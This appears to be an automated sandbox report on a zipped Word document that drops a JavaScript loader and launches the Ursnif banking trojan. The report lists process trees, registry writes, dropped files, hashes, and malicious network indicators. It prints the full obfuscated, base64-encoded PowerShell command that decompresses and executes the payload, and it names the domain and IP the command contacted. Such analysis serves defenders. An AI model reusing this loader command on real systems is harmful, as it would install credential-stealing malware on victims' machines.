| File name: | Sample.zip |
| Full analysis: | https://app.any.run/tasks/e25cdfe2-e9e5-47da-bde1-edfc6f98b202 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | September 19, 2019, 11:35:11 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | CBD87740BF6E2B49CBB55AA2F21ED98E |
| SHA1: | A2735753D904FBD9A176861DDFE225D2DB7969B3 |
| SHA256: | 913BF8500588352C3CF2FF12A24D47997EF53D17B6696285E5C73EA1C006A7E4 |
| SSDEEP: | 768:wyiVcEBIjwomU5I2K3Y8sLcFnO4/yeZVG+Ld0lm4d71pRfMeTo65zl6Ym9z:CBIIU5I/sLcFnO4/ysVzAt71j0QDNu |
MALICIOUS
Drops known JS loader
- WINWORD.EXE (PID: 3184)
Executes scripts
- WINWORD.EXE (PID: 3184)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 3184)
URSNIF was detected
- powershell.exe (PID: 2636)
SUSPICIOUS
Starts Microsoft Office Application
- WinRAR.exe (PID: 3504)
Creates files in the Windows directory
- WINWORD.EXE (PID: 3184)
- powershell.exe (PID: 2636)
Executes PowerShell scripts
- WScript.exe (PID: 2348)
Creates files in the user directory
- powershell.exe (PID: 2636)
Removes files from Windows directory
- powershell.exe (PID: 2636)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3184)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3184)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0009 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2019:09:19 11:16:06 |
| ZipCRC: | 0x2a58f344 |
| ZipCompressedSize: | 41560 |
| ZipUncompressedSize: | 80896 |
| ZipFileName: | info_09_19.doc |
Total processes
38
Monitored processes
4
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2348 | "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\zGjagpXxv.js" | C:\Windows\System32\WScript.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2636 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -En IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcAZgBjADAAOQBDADQASgBRAEYATQBiAHgAcgArAEkAZwBuAEsASwA2AFoAaQBGAHAASQBRADEAWgBFAEkAZwAwAEMAQwA0AE8AdgBuAFQAUwBHACsAcQA1ADYAaQAyAHoAVAA1ADgAMQBOAEUAWABUAHMAegB6ADgALwBtAHEASABpAGMAMQBHAFUATQBFAEUAcwBKAHYAUgBNAE0AawBWAFUAdwBsAGoAeABjAFAASQBqADEAaQBBAFMAYgBSAHoATwBYAHIAKwBSAGwARwBIAE0AMwBNAG8AcQBGAHkASwBuAGMAUABSADMAWQA4AGcAbAAxAEsAcwBOAGUAMQBDAHMAbwB4ADUAOABXAFEAcABsAFYAcAByAEwAVQB6ADkAcABQAFYAUwBaAHkASQBYADIAOABMAE8ARwBsADQAWQByAE0ARQBFAHAAZwByAHMAMQBtAEgAQQBxAHoATgAxAGIAZQBoAGoASwBjAEwAVgBmAE0ANwB3AGcAVABEACsANQB3AHQAcQB1AEcAbABsAHgAcgBXAG0ANQBkADMAOABWAEkAagBmADYAdgA0AGQAKwBJAFYAYQBYAC8AUQBGACcAKQAgACwAWwBzAFkAcwBUAGUAbQAuAGkAbwAuAGMATwBNAHAAUgBlAFMAcwBpAE8ATgAuAEMAbwBtAHAAcgBlAHMAcwBJAE8ATgBNAE8ARABFAF0AOgA6AEQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAJgAoACcAZgAnACsAJwBvAHIAZQAnACsAJwBhAGMASAAnACkAewAgACYAKAAnAE4ARQBXAC0AbwBiACcAKwAnAEoAJwArACcARQBjAFQAJwApACAAIABpAGAAbwAuAGAAUwBgAFQAcgBlAGEAbQBSAEUAQQBEAEUAUgAoACQAXwAsAFsAcwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBkAEkAbgBHAF0AOgA6AGEAcwBDAGkAaQApACAAfQB8AC4AKAAnAEYAbwByAEUAYQAnACsAJwBDACcAKwAnAEgAJwApAHsAJABfAC4AcgBlAEEAZABUAG8ARQBOAEQAKAApACAAfQAgACkAIAB8AC4AKAAnAEkAZQB4ACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3184 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb3504.43835\info_09_19.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3504 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Sample.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
Total events
1 903
Read events
1 427
Write events
471
Delete events
5
Modification events
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\Sample.zip | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (3504) WinRAR.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1328742430 | |||
Executable files
0
Suspicious files
3
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3184 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRCB34.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2636 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y1VBFF0RJT9KQR2ZVMEA.temp | — | |
MD5:— | SHA256:— | |||
| 3184 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Rar$DIb3504.43835\~$fo_09_19.doc | pgc | |
MD5:— | SHA256:— | |||
| 3504 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb3504.43835\info_09_19.doc | document | |
MD5:— | SHA256:— | |||
| 3184 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3184 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2636 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16d66f.TMP | binary | |
MD5:— | SHA256:— | |||
| 2636 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3184 | WINWORD.EXE | C:\Windows\Temp\zGjagpXxv.js | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
2
Threats
2
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2636 | powershell.exe | 185.65.202.69:80 | fotmailz.com | Individual Entrepreneur Kulin Tomofei Konstantinovich | RU | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
fotmailz.com |
| malicious |
pori89g5jqo3v8.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2636 | powershell.exe | A Network Trojan was detected | MALWARE [PTsecurity] MalDoc Requesting Ursnif Payload |
1 ETPRO signatures available at the full report